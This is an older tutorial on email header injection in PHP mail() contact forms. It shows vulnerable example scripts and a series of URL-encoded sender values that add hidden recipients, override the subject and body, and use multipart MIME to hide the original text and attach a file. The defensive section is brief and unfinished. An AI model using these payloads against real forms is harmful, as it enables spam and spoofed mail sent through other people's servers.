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Mail headers injections with PHP

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Updated at : (tobozo : code highlighting and html5 conversion)
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Email Injection

There are a lot of ways to send anonymous emails, some use it to mass mail, some use it to spoof identity, and some (a few) use it to send email anonymously. Usually a web mailform using the mail() function generates emails containing headers with the originating IP of the server it's running on. Therefore the mailform acts as a SMTP proxy.

The input fields of the form may vary, but it is common to specify a mailform that gives you control over the subject, the message, and the sender's email address.

Function usage: mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]); (function mail)

Extra params are not commonly fed from user input, so we'll skip this part. Since most webmasters carefully hardcode the recipient's email address into the contact form of their web application, one might think this sets a limit to the way this kind of script can be exploited (but one is wrong!)..

Here's an example of code we'll base our analysis on:

<?php

     $to = "webmaster@website.com";
     if (!isset($_POST["send"])){
         // no post data -> display form
         ?>
         <form method="POST" action="<?=basename(__FILE__);?>">
         To: webmaster@website.com
         From: <input type="text" name="sender">
         Subject: <input type="text" name="subject">
         Message: 
         <textarea name="message" rows="10" cols="60" lines="20"></textarea>
         <input type="submit" name="send" value="Send">
         </form>
         <? 
     } else {
         // found post data .. deal with it
         $from = $_POST['sender'];
         // send mail:
         if (mail($to, $_POST['subject'], $_POST['message'], "From: $from\n")){
             // display confirmation message if mail sent successfully
             echo "Your mail was indeed sent to $to.";
         } else {
             // sending failed, display error message
             echo "Duh! Your mail could not be sent.";
         }
     }

?>

When looking at the html form or at the code it seems obvious one cannot choose the recipient email address as it is hardcoded in the script. However it is possible to choose the subject, the message, and the sender email address (From: header).

Using php mail() function roughly works as follows:

<?php

     mail($recipient, $subject, $message, $headers);
     
?>

.. and will produce a raw output:

 To: $recipient
 Subject: $subject
 $headers
 
 $message

Thus when calling the function as follows:

 
<?php 

  mail("recipient@victim.xxx", "Hello", "Hi,\nYour site's great.\nBye", "From: sender@anonymous.xxx\n"); 
 
?>

.. the raw output data looks like this:

 To: recipient@victim.xxx
 Subject: Hello
 From: sender@anonymous.xxx
 
 Hi,
 Your site is great.
 Bye

The php code for the mailform provided earlier shows that the most interesting part the user can choose to feed in the form is the sender email address, because it is directly displayed inside the headers. In this example it is possible to modify or add other headers then the From: using this form. Of course the message, To: and Subject: fields could also be used to inject some data but the mail() function and the RFC specifications would filter any content given to those fields to prevent it from being abused.

What's the point of injecting email headers ? In this context, the target it to be able to send anonymous emails to other recipients. There are numerous additional fields that can be specified in the mail headers (see [RFC 822]). For example the Cc: (Carbon Copy), which sends a copy of the message to the email addresses given as arguments. A better choice is to use the Bcc: (Blinc Carbon Cooy) which sends a carbon copy ot the message just like with the Cc: header, except that the recipiends email addresses given as arguments are not shown to the multiple recipients' headers. As specified in the [RFC 822], one must add a line feed for every header. The <LF> (line feed) char has a hexadecimal value of 0x0A.

Thus by providing the following values to the example script of this article:

- Sender:

 "sender@anonymous.www%0ACc:recipient@someothersite.xxx%0A
  Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx"

- Subject:

 "ahem"

- Message:

 "My Message..."

The email's raw data will look like this:

 To: recipient@victim.xxx
 Subject: ahem
 From: sender@anonymous.xxx
 Cc:recipient@someothersite.xxx
 Bcc:somebloke@grrrr.xxx,someotherbloke@oooops.xxx
 
 My Message...

... mail headers injected successfully ! Despite the fact that the only header value the html form allows to specify if the From:, the resulting email has been sent to three people of our choice: recipient@someothersite.xxx, somebloke@grrrr.xxx and someotherbloke@oooops.xxx

In the last example, both Cc: and Bcc: headers have bee used to perform the injection. It would also have been possible to use the To: header, the last value is added (just like in the Cc: and Bcc: fields) to the hardcoded email address of the webmaster.

Let's keep the same value for subject and message, and give the following value to the sender:

 email@anonymous.xxx%0ATo:email1@who.xxx

the mail output is:

 To: recipient@victim.xxx
 Subject: Hum
 From: email@anonymous.xxx
 To:email1@who.xxx
 
 My Message...

Repeating the To: header won't be a problem, the mail will be sent to recipient@victim.xxx AND email1@who.xxx.

Now let's consider a more restrictive purpose to send anonymous emails: spamming

Many sites provide the possibility to "email this page to a friend" through a web form, the resulting email softly suggests to "visit our website" on behalf of the user that filled in the form with his personal email address, and the email address of the friend he wants the page to be emailed to:

<?php

    $subject = "Visit our site www.website.xxx!";
    $message = "Hello,\nA friend thought you might want to see this page : www.website.xxx.\nBye Bye.";
    if (!isset($_POST["send"])) {
        // no post data, display form
        ?>
        <form method="POST" action="<?=$_SERVER['PHP_SELF'];?>">
        To: <input type="text" name="recipiend">
        From: <input type="text" name="sender">
        <input type="submit" name="send" value="Send">
        </form>
        <?
    } else {
        // found post data
        $from = $_POST['sender'];
        $to   = $_POST['recipient'];
        // send mail:
        if (mail($to, $subject, $message, "From: $from\n")){
            // success
            echo "Mail sent successfully to $to.";
        } else {
            // failure
            echo "Duh! Sending failed.";
        }
    }

 ?>

Even though the subject and the message are hardcoded, there is still a way to inject headers (we already know how to add recipients). As covered earlier in this article, we saw that the To: header can be sent twice, the Subject: header is not an exception to this rule, and so it is for numerous other headers...

By providing a recipient address

 buddy@pal.xxx

and a sender address

 misterburns@springfield.xxx%0ASubject:My%20Anonymous%20Subject

the email body will look like this:

 To: buddy@pal.xxx
 Subject: Visit our site www.website.xxx !
 From: misterburns@springfield.xxx
 Subject: My Anonymous Subject
 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

The subject "My Anonymous Subject" will be added to "Visit our site www.website.xxx!", and in some cases will replace it (depending on the mail services, smtp relays, mail client, etc). For example hotmail displays the added subject inside the message.

Let's see now how to alter the message body. The difference between the body and the headers is that the body cannot be identified by its name (From, To, etc); there is no such 'Message' header existing in the [RFC 822]. And that's exactly how we will alter this part of the mail, a <LF> with no header name means that the message body started.

So instead of specifying a <LF> and a header name, we will just add a <LF> and give our message.

As both To: and Subject: headers are already defined, the resulting output will contain both the older message and the injected message, except that instead of being appended, it will be prepended.

Say we provide this sender:

 badguy@badboys.com%0A%0AMy%20New%20%0AAnonymous%20Message.

then the email will look like this:

 To: buddy@pal.xxx
 Subject: Visit our site www.website.xxx!
 From: badguy@badboys.com
 
 My New
 Anonymous Message.
 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

we can clearly see the that the new message:

 My New
 Anonymous Message

is prepended to the old message:

 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

to finally give this message

 My New
 Anonymous Message
 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

There are more headers than Cc:, Bcc:, To:, Subject: and From: but this article will not cover all of them as they are not especially helpful for this article. However the "Content-Type" header can be very useful: this header has a default value set as "plain/text".

It is possible to re-define this header as "text/html", and then provide some html content to the message by giving this value to the sender's email address:

 haxor@attack.com%0AContent-Type:text/html%0A%0AMy%20%New%0A<u>HTML%20Anonymous%20Message.</u>%0A

the email sent will look like:

 To: buddy@pal.xxx
 Subject: Visit our site www.website.xxx!
 From: haxor@attack.com
 Content-Type:text/html
 
 My New
 <u>HTML Anonymous Message.</u>

 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

when displayed, this email will have the text "HTML Anonymous Message." underlined.

The mail() function respects the MIME encoding. By knowing this, the header "Content-Type" can be used in different ways for injection purposes. The MIME encoding (Multipurpose Internet Mail Extensions) can be used - in addition to send html mails - to attach files (sound, image, txt, etc).

The fact is that the header "Content-Type" can be re-defined as "multipart/mixed" (or "multipart/alternative" or "multipart/related"), even though it was already defined previously.

The injection possibility for this header is that the "multipart/mixed" can help us to separate the mail in several parts.

Here's an example in MIME format, with one recipient part:

 To: recip@ient.xxx
 Subject: Good Luck
 From: sender@spoofed.xxx
 Content-Type: multipart/mixed; boundary="MyBoundary";
 Hidden Text1
 --MyBoundary
 Content-Type: plain/text;
 
 Good Luck for you work,
 bye
 
 --MyBoundary--
 Hidden Text2

First we see the header To:, Subject: and From: then the "Content-Type" defined as "multipart/mixed", then the "boundary" line which value is "MyBoundary". This boundary stuff is used as a separator (see [RFC 822] for detailed info) inside the message. It is also used to set the beginning/end of the first/last part ( "--[THE BOUNDARY]" ). Note: "[THE BOUNDARY]" can be replaced by any (US/ASCII [:alnum:]) value. Then we see a line "Hidden Text1". This text will not be visible to the recipient, because it is located before the first "boundary" declaration. Then we see the "--MyBoundary" line, announcing the beginning of the first message, and then, just after the "Content-Type" header (which will define the content type of this specific message part), some simple text. Then we see the message, and the line "--MyBoundary--", announcing the end of the email, and consequently having the last part "Hidden Text2" hidden to most web clients.

Now the originating message and subject, both hardcoded in php, are ignored. So by providing the following value to the sender:

 haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0A
 Content-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--

we get:

 To: recip@ient.xxx
 Subject: Visit www.website.xxx!
 From: haxor@attack.xxx
 Content-Type:multipart/mixed; boundary=frog;
 --frog
 Content-Type:text/html
 
 <b>My Message.</b>

 --frog--
 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

and the message recieved by "recip@ient.xxx" is a HTML message containing "<b>My Message.</b>" ("My Message." in Bold). The advertisement message (hardcoded):

 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

.... is NOT displayed.

Note: boundary is sent with no quotes this time, just to show it applies event if magic_quotes_gpc=ON.

This method is applicable in different context. Imagine a script where Sender: can be specified and where some other field (like first name, last name, age, etc) is echoed in the message body once the form is submitted. In that case it is possible to get the same results (choose exactly what message the receipt will see) by providing the following value to the Sender: header:

 haxor@attack.com%0AContent-Type:multipart/mixed;%20boundary=frog;%0A

and to the optional field (e.g nickname):

 %0A--frog%0AContent-Type:text/html%0A%0A<b>My%20Message.</b>%0A--frog--

the mail will look like:

 To: ami@friends.xxx
 Subject: Visit www.website.xxx!
 From: haxor@attack.xxx
 Content-Type:multipart/mixed; boundary=frog;
 
 Hello,
 
 A friend called
 --frog
 Content-Type:text/html
 
 <b>My Message.</b>
 --frog--
 thought you might want to see this page: www.website.xxx.
 Bye Bye

As you can see, the hardcoded message has been splitted in two. The value of the optional field (nickname) has been replaced by the injected message, and whatever is after the inserted text will NOT be shown in the mail client.

Now a last example, compiling all possibilities seen in this article, and more...

juste give this value to the sender:

 haxor@attack.xxx%0ASubject:Ooops%0ABcc:target@nothappy.xxx%0AContent-Type:multipart/mixed;%20
 boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A<u>HTML%20Message.</u>%0A%0A--frog%0A
 Content-Type:text/html;name=Nastycode.html;%0AContent-Transfer-Encoding:8bit%0A
 Content-Disposition:attachment%0A%0A<u>HTML%20File</u>%0A%0A--frog--%0A

email is sent as follows:

 To: pal@friends.xxx
 Subject: Visit www.website.xxx!
 From: haxor@attack.xxx
 Subject:Mwahahaha
 Bcc:target@nothappy.xxx
 Content-Type:multipart/mixed; boundary=frog;
 --frog
 Content-Type:text/html
 
 <b>HTML Message.</b>

 
 --frog--
 Content-Type:text/html;name=Nastycode.html;
 Content-Transfer-Encoding:8bit
 Content-Disposition: attachment
 
 <u>HTML File</u>
 
 --frog--
 
 Hello,
 A friend thought you might want to see this page: www.website.xxx.
 Bye Bye

So the sender is: "haxor@attack.xxx", the subject is: "Visit www.website.xxx! Oooops". This email will be received by "pal@friends.xxx", and a carbon copy will be sent to "target@nothappy.xxx". The email content will be HTML:

 <b>HTML Message.</b>

a file named "Nastycode.html" with content type "text/html" will be attached to the email:

 <u>HTML File</u>

[panic]Okay, the problem has been described, now is a good time to panic... [/panic]

There are several ways to secure a script vulnerable to such injection attacks. First rule would be to filter user data, using regular expressions or string functions:

<?php 

   $from = $_POST["sender"];
   if (eregi("\r", $from) || eregi("\n", $from)){
       die("Why?? :( ");
   }
   
?>

more regexps here

We can see in the previous script that any occurence of \r or \n will make it die(). \n is equal to <LF> (Line Feed or 0x0A/%0A in hexadecimal), and \r is equal to <CR> (Carriage return or 0x0D/%0D in hexadecimal). Some chars like %0A%0D can be used as a substitute to %0A, but it is always the last char that is really dangerous.

/* to be concluded */

Two points to remember when watching injections:

 Any existing data located *after* the injection point can be replaced.
 Any data to be added will always be located *after* the injection point (ex: From:).

There is another good point to this security measure despite the fact that subject and recipient values passed to the mail() function are cleaned: when using Emacs, the Fcc header is also protected from injections. This Fcc: field contains the name of one file and directs Emacs to append a copy of the message to that file when you send the message. Although this works on Emacs, it is not possible with the PHP mail() function.

Other exploit possibilities related to the MIME vulnerabilites are not developped in this article